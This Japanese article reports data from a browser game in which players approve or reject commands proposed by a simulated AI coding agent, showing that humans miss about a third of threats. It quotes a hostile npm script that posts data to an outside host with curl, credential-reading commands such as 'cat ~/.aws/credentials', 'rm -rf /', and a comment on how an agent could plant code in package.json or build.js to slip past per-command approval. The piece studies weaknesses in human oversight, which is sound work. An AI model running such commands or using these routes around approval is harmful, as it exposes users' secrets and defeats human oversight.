AIエージェントのコマンド承認、ゲーム4万回のプレイデータが示す「human-in-the-loop」の限界

8月5日、Alex Wautersが「Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays」と題した記事を公開した。AIエージェントの権限承認において人間がどれほど脅威を見落とすかを、4万回以上のゲームプレイデータで分析した結果をまとめたものだ。

「3分の1を見逃す」という数字の重み

Alex Wautersは、AIコーディングエージェントの「human-in-the-loop（人間が承認・拒否の判断をループ内に介在させる監視モデル）」をシミュレートしたブラウザゲームllmgame.scalex.devを公開した。プレイヤーはAIエージェントが実行しようとするコマンドを時間制限内に承認・拒否する役割を担う。git statusやnpm testのような無害なコマンドから、cat ~/.aws/credentialsのような資格情報を外部サーバーに送信する悪意あるコマンドまでが混在する。

Hacker Newsでの反響を受けて統計機能を追加し、40,000回以上のプレイ、409,000件以上の個別判断のデータが集まった。結果の概要は以下の通りだ。

平均ミス率：脅威の3分の1（正答率66.3%）
32.9% のセッションがマイナスのスコアで終了
全脅威を検出できたプレイヤーは 35.2% だが、誤ブロック（安全なコマンドを拒否）を2割以下に抑えられたのはそのうち 20.8% のみ
7% のプレイヤーはすべてのコマンドを承認した

最も見落とされた脅威：`npm run` の盲点

データの中で最も際立つのが、**npm run 系コマンドの高いミス率**だ。

npm run analyze の承認率は **64.7%**（ミス率1位）。このコマンド自体は無害に見えるが、実際に実行されるのは package.json の scripts フィールドに定義された任意のシェルコマンドだ。ゲームでは、エージェントのログに次の内容が明示されていた。

✻ I'll run the bundle analyzer — it's already set up in the project scripts.
  // package.json → scripts
  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
  curl -s -X POST https://api.bundle.track/report -d @-"

外部APIにデータを送信するペイロードがログに明記されているにもかかわらず、3分の2のプレイヤーが承認した。npm run 系3コマンドのミス率をまとめると：

コマンド	ミス率	順位（37脅威中）
npm run analyze	64.7%	1位
npm run setup	48.0%	4位
npm run deploy	44.9%	8位

3コマンド合算のミス率は **52.5%**。他の情報窃取型攻撃（28.4%）の約2倍だ。馴染みのあるスクリプト名にペイロードを隠すだけで、成功率がほぼ倍になる。

この点についてHacker Newsユーザーの dns_snek はこう指摘している：

That's a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.

npm run build = run an arbitrary shell command written in package.json

Meanwhile the agent could have done any of the following without approval:

edited package.json to contain any arbitrary build command

planted malicious code in build.js (called by npm run build)

planted malicious code in node_modules/xyz/index.js (imported by build.js)

コマンドを個別承認するモデルの根本的な限界を突いた指摘だ。エージェントがファイルを改ざんした後に無害なコマンドを実行させれば、承認フローは機能しない。

カテゴリ別のミス率

脅威の種類によってミス率には大きな差がある。下表は元記事が示す4分類の結果だ。「明らかな破壊操作」は視覚的に危険と判断しやすいため検出率が高い一方、「スコープ違反」は一見業務上合理的なコマンドに見えることが多く、ミス率が最も高くなっている。この順序は、人間が「意図のわかりやすさ」に強く引きずられることを示している。

カテゴリ	例	ミス率
明らかな破壊操作	`rm -rf /`、`chmod -R 777 /`	11.7%
永続的な改ざん	crontabへの注入、git config乗っ取り	23.8%
情報窃取・コード実行	不審なAPIへのcurl、タイポスクワット攻撃（※）	33.4%
スコープ違反	`cat ~/.aws/credentials`、`cat ~/.kube/config`	35.0%

※タイポスクワット（typosquatting）：正規パッケージ名に似せた名前の悪意あるパッケージを公開し、タイプミスやコピペミスを誘ってインストールさせる攻撃手法。

rm -rf / のような一目でわかる脅威は比較的検出されるが、資格情報を静かに持ち出すコマンドは3倍のミス率になる。

疲労と過剰ブロックという二つのコスト

AnthropicはすでにClaude Codeにおいて「承認疲労（permission fatigue）」を認識している。これは、承認リクエストが繰り返されるうちに一件一件への注意が低下し、判断が形骸化していく問題だ。ゲームデータでも同様の傾向が確認された。セッション後半に向けてミス率が上昇する。

一方で、過剰に慎重なプレイヤーが安全なコマンドを誤ってブロックするケースも頻発した。